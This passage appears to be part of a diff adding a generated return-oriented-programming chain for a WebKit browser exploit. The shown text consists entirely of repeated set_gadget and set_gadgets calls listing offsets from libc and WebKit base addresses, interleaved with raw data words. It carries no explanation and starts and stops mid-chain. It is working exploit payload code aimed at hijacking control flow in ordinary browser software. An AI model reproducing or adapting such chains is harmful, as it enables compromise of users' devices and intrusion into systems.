+libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+227312, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+227400, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+227416, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+227520, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+227504, +webkit_base+4687784, +libc_base+388400, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+227576, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+972324, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+227680, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+227768, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+227784, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+227928, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+227896, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+227912, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+200952, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+740138, +libc_base+713278, +ropchain+228120, +webkit_base+4687784, +libc_base+713278 +]); +db([4294966272, 4294967295]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+228232, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+148944, +libc_base+863109, +libc_base+713278 +]); +db([4294967264, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+228320, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+228408, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+228424, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+228568, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+228536, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+228552, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+214816, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+740138, +libc_base+713278, +ropchain+228760, +webkit_base+4687784, +libc_base+713278 +]); +db([4294966272, 4294967295]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+228840, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+228896, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+863109, +libc_base+713278, +ropchain+228992, +webkit_base+4687784, +libc_base+768796 +]); +db([128, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([4, 0]); +set_gadgets([ +webkit_base+1537212, +libc_base+713278, +ropchain+229088, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+229104, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+229192, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+229248, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+229376, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+148944, +libc_base+863109, +libc_base+713278 +]); +db([4294967264, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+740138, +libc_base+713278 +]); +db([4294966268, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+229504, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+972324, +libc_base+713278, +ropchain+229560, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+713278, +ropchain+229624, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294966268, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+229712, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+229728, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+229888, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+229920, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+229872, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+229904, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+230000, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+230016, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+230112, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+230096, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+230208, +webkit_base+4687784, +libc_base+768796 +]); +db([32, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([32, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+230352, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+230368, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+230336, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +webkit_base+15055763, +webkit_base+47019, +libc_base+232261, +libc_base+713278, +ropchain+230544, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+230560, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+230528, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+230688, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+230720, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+230704, +webkit_base+4687784, +libc_base+713278 +]); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+11809960, +libc_base+232261, +webkit_base+426067, +libc_base+713278, +ropchain+230832, +libc_base+507828, +libc_base+145226, +libc_base+713278, +ropchain+230824, +webkit_base+4687784, +webkit_base+1816389, +libc_base+489696 +]); +db([0, 0]); +set_gadgets([ +ropchain+230848, +ropchain+230864, +libc_base+489696, +ropchain+230880, +libc_base+489696, +ropchain+233824, +libc_base+768796 +]); +db([65, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+230984, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+231072, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+231088, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+231232, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+231248, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+231216, +webkit_base+4687784, +libc_base+713278 +]); +db([24, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+231336, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+231352, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+231496, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+231464, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+231480, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+231568, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+231624, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+231720, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294966268, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+231808, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+231824, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+231984, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+232016, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+231968, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+232000, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+232176, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+232128, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+232144, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([4, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+1537212, +libc_base+713278, +ropchain+232256, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+232272, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+232360, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+232416, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+232544, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+232576, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+232560, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+232736, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+232768, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+232720, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+232752, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+232848, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+232864, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+232960, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+232944, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+233064, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+187456, +libc_base+863109, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+233152, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294966268, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+233240, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+233256, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+233416, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+233448, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+233400, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+233432, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+233544, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+233528, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+233632, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+233704, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294966268, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+972324, +libc_base+713278, +ropchain+233768, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+489696, +ropchain+229568, +libc_base+713278, +ropchain+233880, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+233968, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+233984, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+234128, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+234144, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+234112, +webkit_base+4687784, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+234232, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+234248, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+234408, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+234440, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+234392, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+234424, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+234536, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+234520, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+234640, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+174016, +libc_base+863109, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+234784, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+234800, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+234768, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+234896, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+234880, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+234992, +webkit_base+4687784, +libc_base+768796 +]); +db([65, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([65, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+235136, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+235152, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+235120, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +webkit_base+15055763, +libc_base+232261, +libc_base+713278, +ropchain+235320, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+235336, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+235304, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+235464, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+235496, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+235480, +webkit_base+4687784, +libc_base+713278 +]); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+11809960, +libc_base+232261, +webkit_base+426067, +libc_base+713278, +ropchain+235608, +libc_base+507828, +libc_base+145226, +libc_base+713278, +ropchain+235600, +webkit_base+4687784, +webkit_base+1816389, +libc_base+489696 +]); +db([0, 0]); +set_gadgets([ +ropchain+235624, +ropchain+235640, +libc_base+489696, +ropchain+241288, +libc_base+740138, +libc_base+713278 +]); +db([4294966264, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+235736, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+972324, +libc_base+713278, +ropchain+235792, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+713278, +ropchain+235856, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294966264, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+235944, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+235960, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+236120, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+236152, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+236104, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+236136, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+236232, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+236248, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+236344, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+236328, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+236440, +webkit_base+4687784, +libc_base+768796 +]); +db([32, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([32, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+236584, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+236600, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+236568, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +webkit_base+15055763, +webkit_base+47019, +libc_base+232261, +libc_base+713278, +ropchain+236776, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+236792, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+236760, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+236920, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+236952, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+236936, +webkit_base+4687784, +libc_base+713278 +]); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+11809960, +libc_base+232261, +webkit_base+426067, +libc_base+713278, +ropchain+237064, +libc_base+507828, +libc_base+145226, +libc_base+713278, +ropchain+237056, +webkit_base+4687784, +webkit_base+1816389, +libc_base+489696 +]); +db([0, 0]); +set_gadgets([ +ropchain+237080, +ropchain+237096, +libc_base+489696, +ropchain+237112, +libc_base+489696, +ropchain+241080, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([25, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([41, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+237360, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+237448, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+237464, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+237608, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+237624, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+237592, +webkit_base+4687784, +libc_base+713278 +]); +db([24, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+237712, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+237728, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+237872, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+237840, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+237856, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+237944, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); 